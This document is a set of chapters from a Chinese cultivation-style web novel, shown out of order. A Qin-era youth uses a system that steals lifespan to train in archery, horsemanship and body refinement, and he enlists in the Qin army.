到时不笑话赵诚几句,他这口气都顺不过来!
而此时赵诚意念之中,系统则是继续投入寿命,开始推演箭术。
【开始投入寿命修炼箭术……】
【第一年,你不眠不休的练习射箭,尽管你对身体力量的操控达到了极致,但是射箭的时候,箭矢总会出乎你意料的射在别的地方,你开始察觉到,自己好似没有什么射箭的天赋。】
【第二年,你确信了自己没有什么射箭的天赋,还是更喜欢冲上前去拿刀砍人,但长时间的练习与积累也并非毫无效果,你开始能够在立定射箭时,精准命中三十步之外的目标。】
【第三年,你练习立定射箭找到了感觉,一发不可收拾,五十步,七十步,八十步,你发现越远的距离越是艰难,命中率直线下降,你终于明白传说中百步穿杨的含金量……】
【第四年,你终于可以做到八十步之外百发百中,你的箭术登堂入室,不过当你骑在马上不断移动的时候,依然会经常出现射歪的情况,你开始练习骑射。】
【第五年,因为你的骑术出神入化,你很轻松的找到了关窍,在八十步之外,骑射亦可百发百中了,可是敌人不会站在那里不动,让你随便射,所以你开始有意识的练习移动靶子……】
【第七年,找到了关窍之后,你的箭术进境一日千里,如今就算是在飞速奔马之间,你依然能够轻松射中八十步之外的移动靶子,你的箭术炉火纯青!】
【第八年,你越发熟练,精准命中的距离也是越来越远,渐渐地也可以做到百步之外百发百中了,全速奔马之间,你能轻松射中空中掠过的飞鸟,你的箭术已经出神入化!】
【第九年,你开始沉迷于射箭的魅力,想要解锁更多的力量,更远的距离,因为你炼体有成,所以力量对你来说不是问题,你开始练习一百五十步之外距离百发百中……你的箭术与日俱增,你沉浸其中不能自拔。】
【第十年,你如痴如醉的练习射箭,渐渐地,只要是百五十步之内的一切事物,你皆可一箭穿之,如今限制你的已经不再是准头,而是你的目力,你开始不自觉的运转起炼体诀锻炼自己的眼力,想要清晰的看到更远距离的事物细节……】
推演到此戛然而止,赵诚心中突兀的感觉到一种空落,于是毫不犹豫的又是投入了五年寿命进去。
【第十一年,你发觉炼体诀确实可以锻炼到目力,在你尝试看清楚更远更清晰的时候,炼体诀已经悄然运转,不断加强着你的目力,你能够看清楚的距离越来越远,目力不断增强……】
【第十三年,如今就算是二百步之外的飞蝇,你也可以看清楚它翅膀的纹路,你拉弓便射,自信必中,但这时候你发现,你的弓承受不住如此力量,断了……】
【第十四年,现在限制你命中更远距离的不再是目力,而是一把能够承载你力量的弓箭,没有合手的弓,你便以心中之弓练习射箭,你的箭术早已融汇于一心,即使以心中之弓,你的箭术也在不断地精进,你感觉到自己能够百发百中的距离越来越远……】
【第十五年,你以心中之弓射箭,二百步、三百步、四百步,直至五百步,你感觉到自己的目力和力量已经到达了极限,至此,你自信五百步之内,你尽可一箭穿之,你的箭术已经通神!】
外界,县尉瞪着一双虎眼,直直盯着赵诚和马。
好半晌,两者竟然都是一动不动,高手气息反而更加浓厚,让他惊疑不定。
怪哉!!
人不动尚且能够理解,这带毛的畜生怎么也如此老实,刚刚还在躁动不安,现在怎么乖顺的像个小媳妇!?
他眉头越皱越深,眼中迷茫也是越来越浓。
就在这时,骑在马上的赵诚发出长长的一声叹息,“唉……”
这叹息之中,有着数不尽的惆怅无奈和寂寞如雪。
简直一口萧瑟气叹到了人的心坎里。
让县尉大人心中萧瑟的同时更加莫名其妙。
好端端的你叹什么气啊?
却听赵诚昂头寂然道,“箭术通神又如何,世上没有一把好弓,能够承载我的力量,这箭,不练也罢……”
他萧瑟的低头,那马儿如同知晓心意一般,也顺从意念转身,就要默默离去,留给县尉一个背影!
县尉听得眼前一黑,心中无比抓狂!
第4章 力拔山兮气盖世!
入兵籍的核验,会将兵力分出三六九等。
材力过人者,可编入锐士,即重装步兵,再有骑射之能,则入骑兵!
普通壮丁则编入徒卒,即轻装步兵。
技术性人才,则分配到工室,军工部门。
许诚双手握住石锁,入手一片轻盈,摇了摇头,又选了七石的石锁。
稍微提了提,感觉还是轻,于是改单手握住石锁。
他轻轻一举,感觉还没发力,石锁竟自己飞起来了,不由得也是一愣。
“喔!!一只手捏起来了??”
所有人的眼睛同时睁大,县尉嘴唇蠕动,无声赞叹。
牛二贵的嘴巴更是张成了O型!
“不是举起来,是给捏起来了,那石锁在他手里还歪着呢,这腕力多大?这玩意真有五石!?”
“轻飘飘的好像个布袋子,县廷核验不会是有后门吧,我在家提个谷子都没有这么轻松。”
“不对劲!”
别说他们觉得不对劲了,就连吏员自己都觉得不对劲。
在许诚放下石锁之后,他跑去双手提石锁,艰难离地三指,脖子青筋暴起,脸也涨得通红,不得已才松手。
石锁嘭的一声砸在地上,烟尘飞溅。
众人目瞪口呆。
不是,这玩意真七石?
那家伙放下的时候,怎么感觉也是轻飘飘的??
县尉看着许诚的目光之中流淌着惊喜。
十五岁,这个体格,这个材力,就算在大秦锐士之中,也是上上之选!
“试试九石……算了,直接试试十二石石锁吧。”县尉的糙脸露出柔和笑容,在那浓眉虎目的脸上显得有些违和。
赵诚问道,“大人,我可入大秦锐士?”
“自然。”
“那九石十二石又有何区别?”
“区别在于你能处于军中何等位置,我秦国军队勇力为尊,你若能举起九石,在我秦国锐士之中,也必有一席之地,能得将军重用,或可做亲卫之兵!”
赵诚摇了摇头,“我不做亲卫,要上阵杀敌,建功立业,封侯拜将!”
“好!”县尉喝彩一声,又道,“若举十二石,可做中央精锐,凡有战事,我出面为你调职,给你第一等战机!如何?”
赵诚又问道,“若举十二石,能吃饱否?”
众人皆笑。
县尉畅快大笑,“管饱!”
赵诚也笑了,几大步上前,双手一握,双臂肌肉隆起,块垒层层!
真可谓,力拔山兮气盖世!
那十二石石锁毫无凝滞的飞起,瞬间被其举过头顶,这家伙甚至脸不红心不跳,挺立如松,稳如泰山!
全场鸦雀无声落针可闻!
县尉呼吸急促,看着赵诚的目光,好似看到未来一颗将星在此地崛起。
兵籍之上,他写下:材力上上甲,适突骑锐士前锋,可破敌擒将!
自赵诚之后,还有两人举起五石石锁,也被编入锐士之流。
但其他人,则大部分都是轻装步兵的徒卒。
至于牛二贵,因为太过瘦弱,连做个俯卧撑两个胳膊都扇动的像个蝴蝶翅膀,所以连炮灰的价值都没有,被编入了后勤和杂役系统,负责炊煮、粮草运输和养马。
很快,县尉就为他管饱的承诺付出了代价。
当晚,赵诚一人,吃掉了十几人的饭食,将饭堂吃空,尚且没吃饱。
县尉得知此事,连夜回家休息,没敢露面。
……
按照秦制,傅籍后首先在本县服正卒一年,接受系统军事训练,经过考核之后,县尉授军籍,才算是正卒。
但如今战事随时可能发生,所以一切从简,但必要的训练还是要进行的,县里要做的是让这些从没有上过战场的壮丁尽可能快的能够参加战事。
赵诚被县尉按照突骑锐士前锋重点培养,命其每日练习骑射,要求能破敌擒将。
一个月后。
赵诚立于马上,开弓射箭,尖锐鸣啸声划破武场,箭矢擦着一名吏员头皮射入墙体,箭身没入一半,箭尾犹自颤动!
吏员双腿一软,噗通一声坐在地上,差点尿了。
赵诚不好意思笑了笑,连连抱歉。
这玩意他从没练过,能够骑在马上,射的稳而力大已经算进步了,准头实在无法保证。
县尉叹了口气,感觉没眼再看,深深怀疑了自己的眼光。
一个月了!
你知道我这一个月是怎么过的吗!?
为了那句话,县廷都快要被他吃穷了,就在刚刚,还差点折进去一个吏员!
罢了,上了战场,冲锋陷阵,哪个方向都是敌人,射谁不是射呢?
射谁身上算谁倒霉吧。
而一旁,赵诚则是有些欣喜的看着系统上,能力一栏里显示——骑术入门,箭术入门。
心中长出一口气。
总算入门了。
“系统,给我投入二十年分别修炼骑术和箭术。”
【开始投入寿命修炼骑术……】
【第一年,你修炼骑术,每日骑在马上,渐渐熟悉了奔马的力量,不再以身体力量强制要求马儿顺从于你,而是开始顺从马儿……】
【第三年,你感觉上了马背就像是回家一样,在马上可以平躺,睡觉,吃饭,任凭马儿如何狂奔,都不会掉落下来。你的骑术初窥门径!】
【第五年,你感觉胯下之马与你莫名契合,你的一举一动,都可以影响马儿,让马儿顺从你的意志前行。你的骑术开始融会贯通!】
【第八年,你深谙御马之术,心思一动,便可让马儿做出各种动作变化,马儿一动,你也会知道它的想法和情绪,骑术炉火纯青!】
【第十年,你好似达到了一种人马合一的境界,你对马的了解达到了极致,面对一头陌生的马,你能够在几息时间之内,就与它建立默契,让它变得如臂使指,骑在马上,马就像是成为了你身体的一部分。】
【你的骑术达到了出神入化之境】
第3章 破肉关,入筋关!
“这……”里正张余看了一眼人群中笑嘻嘻的赵诚,讷讷叹了口气,上前领命。
祠堂前的空地上,沉闷中隐有哀叹之声,想要建功立业是真的,但是大家都知道打仗是要命的,上了战场丢命只在一瞬间,谁也不知道还有没有可能回来。
但征兵令已至,就算是张余也不能有所隐瞒。
接下来的事情就简单了,里正统计,将村中年十五以上者入了傅籍簿。
舅母抹着发红的眼睛,给赵诚做了一大桌肉菜,让他真正吃了顿饱饭,村中给他们十几位少年烈酒壮行之后,便前往了县廷。
这十几位少年之中,不乏十六七岁的,但赵诚走在其中,仍然如同鹤立鸡群一般,比同行之人高上一大头,且还要精壮上一圈。
一路上,牛二贵异常忐忑不安,絮絮叨叨的和赵诚说话,想要缓解心中不安。
而赵诚则是一边敷衍回复,一边将心神沉入系统之中。
【宿主:赵诚】
【当前寿命:111年4月18天(可投入寿命推演、修炼功法武学)】
【当前武学:基础炼体功(炼肉小成)】
“此去县廷,入军籍已是十拿九稳,只要勇力过人,还怕吃不饱饭?”
他如此想着,借口去道旁树林方便,在密林之中启动了系统。
“系统,投入八十年寿命修炼基础炼体功!”
【开始投入寿命修炼基础炼体功……】
【第一年,你修炼基础炼体功,如今你已炼肉小成,基础炼体功更是修炼了成千上万遍,不论是桩功还是动功对你来说都是得心应手,但是配合呼吸之法还是感到有些地方不太对劲……】
【第五年,你逐渐感觉到修炼效率低下,你觉得是基础炼体功品阶太低了,导致炼体进度十分缓慢……】
【第十年,你沉下心来,将基础炼体功修炼了一遍又一遍,你的身体越发强健,精力更加充沛,肌肉好似生铁浇筑而成,随手一拳便能打出虎虎风声……】
【第二十年,你的力量越发强大,浑身上下的每一块肌肉都蕴含着极大的劲力,好似有无穷的力量蕴含在你的身体之中,你踏入炼肉大成之境……】
【第三十年,你的力量越来越强,但是你却发现,你对于力量的运用有些薄弱,每一次出拳,力量便如洪水开闸一般汹涌而出,行动之间也显得有些笨拙,这具身体的力量,让你感到有些无法掌控……】
【第四十年,无数次的修炼肉身,你开始有了一些心得感悟,你感觉全身上下的每一块肌肉都暗合某种运作之理,心念一动就可以将任何一块肌肉的力量调动起来,也可以将任何一块肌肉放松下来,在一动一静之中,你体悟到了肌肉运转的玄妙……】
【第五十年,你有所感悟……】
【第七十年,你终于感悟清楚了力量运转之理,对于身体的每一块肌肉的控制都达到了极致,对于力量也是收放自如,你静坐之时不动如山,可以将自身消耗降低到极致,你出手之时有若雷霆,可以瞬间爆发全身上下所有的力量并集中于一点打出,你踏入了炼肉大圆满之境……】
【第八十年,你突破炼肉大关,踏入炼筋之关,因为多年修炼体魄,你身体各处的大筋并非毫无基础,而是拥有着匹配肉身力量的强度,但你隐隐察觉到,筋骨的修行,才是解封更多力量的关键……】
【当前剩余寿命:31年4月18天(可投入寿命推演、修炼功法武学)】
密林之中,赵诚睁开眼睛,浑身肌肉虬结隆起,密度大幅增长,无与伦比的力量感充斥到了全身上下每一处肌肉角落。
凝实的力量感在肌肉之中流淌,他仿佛能够感知到每一丝力量的所在和单元,对身体如臂使指的程度,令他自己都无尽惊叹。
他可以一瞬间收敛所有的力量,让身体如同瘫痪一般倒下,也可以在快要倒地的瞬间,以将全身力量爆发于指尖一点,整个人横飞而起。
他低头看了看自己的胸膛和手臂,发现并没有变得很大只,而是精壮了一小圈,肌肉看起来线条更加清晰流畅,每处肌肉纹理都暗合某种韵律,有种异常自然的顺眼之感。
赵诚向外走去,行走之间,有一种强大的掌控之感降临在他的心中,他就是这具勇力身躯的君主,拥有着支配每一分力量的至高权柄!
而这股力量又可以外延出去,他可以凭借这股力量,掌控身边的许多人或事的命运。
比如随手可以打断一棵小树。
又比如,几息之内,可轻松杀光身边这些瘦弱的少年。
竹竿一般的牛二贵在他眼中,好似一抓就能折断的细竹竿。
这种感觉,非常美妙,一想到未来以此躯奔赴战场,挥戈杀敌,横扫千军,他心中就难以抑制的有些激动。
牛二贵看着从密林出来之后气场明显不同的赵诚,莫名升起一股莫大恐惧,一种好似直面猛虎的危险感迅速将他吞噬,让他浑身打了个寒战,难得的噤了声,一句话也不再说的缩到了旁边。
一路无话。
众人随吏员入了县廷,进了武场,县令协同县尉对征来的可傅男子进行二次核验,检查身高,视力,体力,录入兵籍簿。
这一县之地征来的人不算多,只有五十多人而已,两人一眼扫去,同时看到了那立在人群中,精壮高大的英武少年,他立在那里,好似一柄锋芒毕露的长枪直指苍穹!
“咦?”
魁梧披甲的县尉拿着傅籍簿来到少年身前,“叫什么名字?”
“赵诚。”
县尉低头翻看,不由惊讶,“年方十五?”
“是。”
十五岁就如此精壮高大,精气神也十分不俗,稍加培养必是锐士材官!
县尉连连点头,眼神中带着满意,“好苗子,来,给他核验!”
吏员立刻上前,一番核验。
“七尺八寸!”
“测力!”
在许诚前方,有着七八个石锁,分别是一石(六十斤),三石,五石,七石,九石,十二石的重量。
许诚的鹤立鸡群不仅吸引了县令县尉的目光,同入武场核验的少年们,也都在看着他,想要看看这个与他们同龄却生的异常高大强壮的家伙核验结果如何。
实际上,许诚自己也很是好奇自身力量到达了什么程度,虽然投入寿命修炼了八十年破了炼肉大关,但还并没有测试过,此时看着那些如磨盘大小的石锁,他竟莫名有些手痒。
稳妥期间,他先选择了五石的石锁,三百斤左右他还是有些自信的。
众人见状都是目光紧随他的身影。
“好小子,上来就选五石石锁!”
“他这体格,搞不好真能拿起来!”
“举五石者,可入材官候选!”
第2章 秋初征兵令
赵诚拍了拍牛二贵的肩膀说道,“不够,远远不够。”
牛二贵那竹竿般的身躯被他拍的一阵颤抖,“不是,铁子,铁哥,你倒是说个数啊!”
赵诚挑眉,英武的面容流露着不舍,“那可是我的传家之物,我是不会卖的。”
牛二贵急了,“别啊铁哥,价格好商量,您开个金口。”
赵诚想了想,一脸为难,“这,我实在不舍,但你毕竟是我从小玩到大的伙伴,除非……你出的价,让我心动到不能拒绝。”
牛二贵一愣,皱眉沉思间,赵诚已经走了。
他咬牙跺脚,“不够没事,再攒就是!”
攒钱很痛苦,因为坐拥巨款而不能花,但是想到有朝一日能够买到那枚玉环,他就充满动力。
……
赵诚回到了家,在井旁冲洗了一番后,进屋换上了另一件粗麻衣。
而后从床下一块木板翻开,拿出了一枚玉环。
这玉环圆形扁平,中心有孔,表面刻有云雷纹,质地坚硬且温润,表面泛着油脂光泽,铭刻纹路犀利规整,看着简约而庄重。
内侧下方有一些磨痕,应是上一任主人长期佩戴产生的细微磨损。
赵诚静静看着,看了半晌,总觉得这种质地的玉环不应该出现在这里,更不应该出现在自己的手上,它与这个屋子,甚至这个村落都是格格不入的。
“娘说此物关乎我的身世,莫非,我那便宜爹是个流落到此的贵族?”
“有可能,普通人也拿不出这种东西。”
“不过上面连个特殊标记都没有,能拿这玩意认亲才是见鬼了,就当娘留给我的念想吧。”
……
怀阳村东,里正宅院。
赵诚大摇大摆踏入其中,张嘴喊道,“舅!开饭了没?”
话音未落,屋里传来一阵叮叮当当,好似鸡飞狗跳。
隐约传来舅母苦恼抱怨“这讨债鬼咋又来了”的声音。
“再蒸一锅,再蒸一锅吧……”黝黑的大胡子中年摇头无奈叹息着走出门来,看到赵诚笑呵呵的脸,又是叹息一声,“最近来的有点勤啊,家里米又吃完了?”
他这些年做里正赚的那些钱粮,几乎全都被这小子吃进了肚子,别说媳妇了,他自己都心痛的很,见到赵诚就犯愁。
“早就吃完了。”赵诚踏进门来,笑望着舅母的苦瓜脸,将背在身后的手拿出来,手中赫然提着一只染血的野兔,“舅母,我可带肉来了。”
正捂着锅盆的舅母脸上的苦恼无奈缓和了些,“还算有点良心。”
见舅母拿着兔子进了厨房,赵诚看向张余,“舅,我要参军入伍!”
张余当即瞪他一眼,“扯淡!你才十五岁,参什么军,入什么伍!?”
赵诚早就想好,“我身高够了,体格也够强,入伍即大秦锐士,你帮我入傅籍,有什么问题?”
张余摇头瞪眼,“不可能!想都不要想!”
赵诚也瞪眼,“我在这吃不饱!”
里正眼瞪更大,跳着脚,“老子给你分了水利最好的田,时不时还给你炖肉吃,这些年赚的都进你肚子了,你说吃不饱!?良心在哪里!?德行在哪里!?”
赵诚说道,“对啊,我吃不饱,你也攒不到,我去吃军队的饭,咱们都好,有什么问题?”
里正怒了,“你真是……”
他没说完,一块沾血的兔肉直接飞越而来,啪叽一声糊在赵诚脸上,打断了他的怒言。
舅母凶狠尖刻的声音传来。
“小王八蛋你是饿昏了头!咱们这离南阳那么近,前两年刚和韩打过,随时都可能再打起来,你在这时候入伍,找死去吗!?到时候肚子是吃饱了,能做个饱死鬼了!!”
说着,她抱着一大盆饭嘭的一声砸在桌上,“吃饭!你舅再没用,也不至于让你饿死,吃!要参军,再等几年吧你!”
赵诚拿下脸上的肉,看着舅母又钻进厨房忙忙碌碌,总归是没有再提参军的事。
他暗自叹息,正是因为前几年才打过,才要赶紧参军啊。
所料不差,韩国很快就要迫于压力献上南阳郡,秦得南阳,条件充足,立刻就要着手灭韩东出!
这时候不赶紧,岂不错过了一波大好机遇?
饭后他又单独找张余提了两次,都被拒绝。
……
“粟熟头重如弯腰,晨露未干割最好……”
转眼间,仲秋已至,到了秋收的时候。
田间一片金黄,饱满的粟米穗向下垂落着,秋风里都带着丰收的气息。
趁着清晨露水没干,籽粒不易脱落,赵诚忙着收割粟谷,他俯身持镰刀,左手拢住粟秆,右手横向划割茎基,每割一小束,以茅草或麻绳捆扎,准备晾晒。
【你杀死了一株黄粟,夺取寿命九天!】
【你杀死了一株黄粟,夺取寿命七天!】
【你杀死了一株黄粟,夺取寿命八天!】
【……】
在这忙碌中,地面突兀的微微震动起来。
赵诚直起身子遥望,一条黑色长龙正自北边官道向着这边蜿蜒而来。
他心中一凝,连忙跑到高处,细细看去。
离得近了,他已能够看到那大秦军队的许多细节,一时之间为之震撼莫名,“这便是……大秦锐士。”
马蹄声如闷雷作响,绣着金色玄鸟的玄黑战旗在风中猎猎翻飞,长戈如林,玄甲寒光,甲胄相撞的轻响连成一片,
最前方的骑兵部队,都是高头大马,披坚执锐,身上散发着一股浓烈的煞气。
在其身后,整齐划一的精锐部队,宛如一道移动的钢铁城墙,向前碾压而来,空气中都弥漫着一股肃杀之气,那是无数次征战沙场所沉淀下来的铁血气息。
良久,秦军消失在视线尽头,赵诚才回过神来。
“这是前往南阳郡的!”
赵诚意识到了什么,“南阳郡,南阳郡……”
“秦国要拿下南阳了,灭韩在即,战时征兵标准会放宽,恐怕要不了多久征兵令就会到!”
赵诚眸光越来越亮。
……
果不其然,三日之后,官府驿马奔入村中,铜锣急响中,一名头戴皂色弁帽的吏员甩蹬下马,在竹筒中拿出征兵令来。
“秦王十六年秋初令,黔首十五以上未傅籍男丁,三日内携户牒至县廷核验。敢有隐匿者,腰斩;里正连坐!另附:从军者赐爵一级,斩首一级赐田一顷,谷物百石……”
第1章 夺寿系统
秦王政十六年,阳城县南郊。
烈阳炙烤大地,田间蒸腾起滚滚热流,如火舌翻卷涌动,将远方的山峦扭曲成流动的虚影。
豆大汗珠砸落在黄土地上,身穿粗布麻衣的少年敞着怀,黝黑而精壮的手臂挥舞着锄头,埋头锄去田间的杂草。
【你杀死了一株狗尾巴草,夺取寿命两天!】
【你杀死了一株野稗子,夺取寿命一天!】
【你杀死了一株万根草,夺取寿命两天!】
【……】
【你杀死了一株黄粟,夺取寿命十天!】
正埋头苦干的赵诚一惊,连忙伏下身子查看被“误杀”的粟米苗,有些惋惜。
这些粟苗都是他一点一点种下,照料至现在已经抽穗,只待其成熟收获,却不小心被他夺了寿命。
这十天寿命对他来说算不得什么,但米粮实在太重要了,是他这等草民的主要收入来源和食物来源。
除去赋税之后,剩下的那些米根本不够他吃,需要节衣缩食以及舅舅接济才能生活。
他如今十五岁,正值长身体的时候,身体又长得精壮高大,比正常成年男子吃的还要多许多。
要知道,秦国在之前很长一段时期,都以六尺五寸(一米五)为成年标准,而赵诚现如今已经足有七尺五寸(一米七三),比许多成年男子都要生的高大了。
这除了要感谢他的系统外,还要感谢那快被他吃空家底的舅舅。
“这世道,饭都吃不饱,活得长又算是什么好事。”
少年直起腰来,修长身躯如长枪挺拔,敞开的衣襟露出精壮的胸腹肌肉,阳光照耀在流汗的肌肤上,映出钢铁般的质感来。
【宿主:赵诚】
【当前寿命:109年3月17天(可投入寿命推演、修炼功法武学)】
【当前武学:基础炼体功(炼肉小成)】
赵诚看了一会儿,还是忍住没有投入寿命修炼炼体功。
自从三年前母亲去世,他小小年纪便独自承担起这百亩田地,深感力不从心,却意外觉醒了系统,惊喜之下,他一口气投入了十年修炼基础炼体功。
那一次修炼之后他身体素质直线上升,体格比小牛犊子还猛,体力更是源源不绝,身高也提升了不少。
但随之而来的是饭量变得很大,家里那点口粮根本不够他塞牙缝,幸好舅舅接济,才算渡过难关。
自那之后,他除了种田做工之外,还常常上山打猎野货,忙的团团转,勉强将自己养活。
当然,饱饭还是没吃上几顿,所以看起来有些精瘦,行动之间,甚至能够看到虬结交错的肌肉纤维。
不过好处也是有的,这百亩田地他一个人就能轻松照料过来,甚至有余力连舅舅家的一起干了,还能去其他人家帮工。
身兼数职,仍然生龙活虎,是十里八乡有名的小铁人。
“等什么时候能吃饱饭再演武吧,靠种地肯定是没戏了,但我生在秦国,不愁没有机会出人头地。”
赵诚再一次举起锄头,继续锄掉杂草。
这些年,他也搞清楚了如今所在的朝代和位置。
秦王政十六年,秦国三川郡阳城县南郊,怀阳村。
在这个时代,没有任何国家比秦国更能斩破阶级,出人头地的了。
商鞅变法之后,秦国奉行二十等军功爵制,以军功为标准授予爵位,配套土地、宅地、奴婢,更能拥有免刑特权和不凡的阶级地位。
而且军伍之中,有功必赏,极度公平。
也是在这两年,秦国这个全民耕战的战争机器正在飞快启动,轰隆隆的冲上灭六国统天下的辉煌道路。
只要赵诚能够入军,他将再无顾忌,可以任意的投入寿命演武,继而征战四方,杀戮夺寿。
凭此杀穿军功二十等,踏着万重枯骨,拜将封侯!
但在那之前,有一个巨大的问题拦在赵诚面前——他年龄不够。
之前还好,傅籍入伍只看身高是否到达了六尺五,但到了如今这个时期,傅籍以年龄为主要标准,身高作为辅助参考,再加上舅舅坚决反对,赵诚也没法强行入伍。
“如今是秦王政十六年,这两年大战将起,必须得想办法尽快投军。”
想着,赵诚动作更快了些,没多久就将所有杂草一扫而空,寿命也再次增加了一年零七个月。
他起身扛着锄头沿着田间小路向村中走去,边走边盘算。
“一根杂草只能提供几天的寿命,而稻谷却可以提供十天甚至更多,砍掉一棵树却也只有二十几天,野兔则是能够提供两个多月到三个月不等,野狼就更多一些,那头野狼被我杀了之后,提供了半年多的寿命……”
“按照这个规律来说,夺寿与生命质量有关,不知道要是杀了同类的话,是否会一比一夺取寿命……”
没走多久,还没踏入村中,一个穿着细麻布衣的少年迎面走来,见到赵诚眼睛一亮。
“铁子,你考虑清楚没,把那玉环卖给我,你就可以歇一年,不用这么辛苦的种地了。”
赵诚看向他,有些无奈。
此人是村中富户牛章的二儿子牛二贵,比自己大一岁,算是从小一起长大,但这家伙家境虽好些,却生的细胳膊细腿,一副风一吹就要倒的竹竿样子。
自从小时候见过自己那枚玉环吊坠之后,他就像是着了魔似的,一直攒钱想要买自己的那枚玉环。
经他提醒,赵诚在那之后就没有再佩戴过那枚玉环,但牛二贵这小子却是个记性好的,从七八岁到现在,一直在攒钱,每多攒一些,就来问自己卖不卖。
时隔七八年,这小子不花不用,愣是攒到了五百钱的“巨款”,又来找自己求购了。
要知道,一石粟不过十钱,赵诚这百亩地年产也就一百石,还要去掉三十石的赋税,剩下的吃都不够,别说攒钱了。
这小子却能从他老子手里,硬生生挤出五百钱来,也是怪让人佩服的。
不过佩服归佩服,赵诚又不傻,自己那玉环吊坠是家传的,母亲离世前千叮咛万嘱咐要保管好,事关自己的身世和那个便宜爹。
虽然赵诚对那个抛妻弃子的便宜爹不感兴趣,但是亲娘的话却要听,而且那玉环看着金贵的很,别说五百钱,再翻个十倍一百倍他也不能卖。
第23章 **剑法,元气淬体
“哈哈哈好了。”
蒙恬拍了拍赵诚肩膀,“以你的勇力,不收力的话,我一剑都抵不住,此等剑法于你无用,你还是走自己一剑封喉的路子,摸索**剑术。”
“我刚才看你演练,已经颇具雏形,只要再战上几场,便可自成一派。”
赵诚点了点头,“我也如此觉得。”
他心中暗想,明日奔赴叶县,定要将**剑法杀入门。
两人又闲聊几句,蒙恬才说道,“我此来是要帮你熟悉一下下属,你如今是突骑都尉,领三千轻骑,麾下有三名校尉,一人是我,一人是贺平,另外一人叫做应年,他们两人现在正等候在外面。”
“让他们进来吧。”
贺平与应年踏入营帐,朝着赵诚肃拜,“都尉大人。”
贺平之前已经与赵诚见过,对其有了几分了解,如今自是十分敬佩。
应年却只听过传闻,虽知军功不会作假,但传闻听起来实在夸张,难免有些犹疑,此时正打量着赵诚。
见其鹰视狼顾之间,血煞之气有若锋芒不时勃发,不由得暗暗心惊。
军伍之中的猛士他见得多了,若不是亲手屠戮过上百人,哪来如此血煞之气。
至此,他对于军中传闻,已经信了八成。
赵诚对于应年的打量倒也不以为意,与两人交谈一番,算是熟悉了。
各自散去之后,赵诚看着系统之中三千六百多年的寿命,决定继续推演修炼基础炼体功。
这一次时间充裕,他也并不着急,决定一百年一百年的修炼,随进度不断调整。
“投入一百年寿命修炼基础炼体功。”
【开始投入寿命修炼基础炼体功。】
【第一年,你炼皮进度已经大成,通过皮肤呼吸,感受到了天地之间存在着某种气机,好似传说中的天地元气,你感到异常玄妙,想要抓住这种气机……】
……
【第十年,你在不断地尝试中,偶尔可以抓住那一丝若隐若现的元气,将其吸收进入体内。
你感到随着这种元气融入体内,你蕴含元气的身体部位强度陡升,但是用不了多久,那种感觉就消失了,你为之感到不解。】
……
【第三十年,通过不断地尝试,你终于可以时不时的吸收天地元气,你的身体之中好似蕴含了一种远超气血强度的能量,但是它消耗的也很快,随着皮肤的呼吸不断吸收,也随着呼吸不断流逝。】
……
【第七十年,你锲而不舍的不断吸收元气,元气也锲而不舍得离你而去。
但在这个过程之中,你渐渐发现你的皮肤之下,有着一些细微的角落被元气洗练,变得越发坚韧。】
……
【第九十年,你坚持不懈的通过元气洗练进行炼皮,许多气血炼不到的瑕疵之处被元气洗练至完美,你的皮肤越发圆融无缺。】
……
【第一百年,你发现元气的妙用无穷,却还是没有办法留在体内。
好在锲而不舍的元气炼皮,让你逐渐熟悉了这种感觉,每一次全身呼吸时,能够吸纳更多的天地元气。
你的恢复能力大幅增加,你的体力大幅增加,你突破炼皮大关,踏入元气淬体之境!】
随着推演结束,赵诚浑身上下的皮肤下面,顿时传来一阵麻痒。
他全身上下的毛孔迅速张开,随着呼吸,一丝一丝说不清道不明的气机反复穿梭流淌,而后带走了某些迟滞阻碍一般的东西。
那是天地元气随着呼吸进入他的身体之中,快速恢复着赵诚身体上面的伤势。
此时他感觉整个身体越发轻盈,每一次呼吸都好似从虚空之中,榨取出无穷无尽的力量。
当他深吸一口气,将那一丝天地元气存留体内,可以爆发出之前近两倍的力量。
不过爆发之后,那丝元气就消耗掉了。
“这就是天地元气?”
赵诚闭目细细感受着,这种元气的数量,相比体内的气血,微弱稀薄的几乎感受不到,就像是铁杵和发丝的区别。
但就是这样微弱的元气,却能够有着如此妙用,不但能够大幅提升力量,还能够快速修复伤势。
“怪不得系统之中寿命凝炼聚元丹这么贵,原来天地元气蕴含着如此强大的力量。”
“而炼皮之所以如此艰难,就是为了让我凝练全身皮肤到极致,然后通过这种呼吸的方式,来感知和运用天地元气。”
“可惜这些元气无法长期存留在体内,就和正常呼吸一样,只能暂且化用气息,随着呼吸就消耗掉了。”
“如何才能将元气留存下来呢?”
赵诚苦思冥想,没有答案。
寿命推演百年,才摸索到了吸收利用一丝天地元气的方法,他这一时半会根本找不到突破口。
“恐怕留存天地元气的办法,存在于之后的元气淬体修炼方式之中。”
“按照现在的情况推断,元气淬体阶段应该便是让肉身逐渐亲和天地元气,渐渐达到承载甚至融合天地元气的程度。”
“再之后的主要修炼方向就是吸收并存续元气于体内,到时候聚元丹就有用处了。”
“现在的我,就算是凝练了聚元丹也没用,吃下去就消耗掉,根本存留不下来,幸好没有消耗寿命凝练。”
“好在现在还有三千五百多年寿命可用,继续推演元气淬体便是。”
漫漫长夜,赵诚也并不着急,再次投入了一百年进去。
【开始投入寿命修炼基础炼体功。】
【第一年,你不断捕捉感知到的天地元气,而后尝试引导它顺着毛孔到达皮下的肌肉之中,但这种引导十分艰难,那些天地元气根本不听你的,往往很快就散去了。】
……
【第十年,你还是无法引导天地元气……】
【第三十年,你还是无法引导天地元气……】
【第七十年,又四十年苦心孤诣,你还是无法引导天地元气。
但通过长久的全身呼吸,天地元气自然流淌到了皮下深处,起到了淬炼表层肌肉的效果。】
……
【第一百年,你惊讶的发现,随着百年持之以恒的元气淬体,你一次吐纳能够吸收的天地元气更多了。
而且皮肤和一些长时间受到淬炼的肌肉,能够承载更多元气,现如今,你一次呼吸能够承载的天地元气比百年前多了数倍不止!】
赵诚睁开眼睛,惊异之色一闪而逝。
百年时间,他收获甚微,元气淬体连入门都不算。
但这微小的收获,却印证了他的思路是对的。
“元气淬体,果然就是为了让我的身体更加亲和天地元气,在不断地淬炼中,承载更多的天地元气,直至能够长期存蓄甚至熔炼天地元气!”
仅仅是如今的进度,已经让赵诚感觉到了这元气的不凡。
他站起身来,深
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深呼吸之间,比之前多出数倍的天地元气顺着全身毛孔,深入皮肉之间。
好似有某种力量加持在了身体表面,他受到元气加持的皮肤强度暴增,肌肉力量暴增!
随手一拳轰出,有猎猎爆响。
赵诚提起青铜剑,深吸一口气,将元气加持在皮肉间,而后一剑斩下。
嗤!
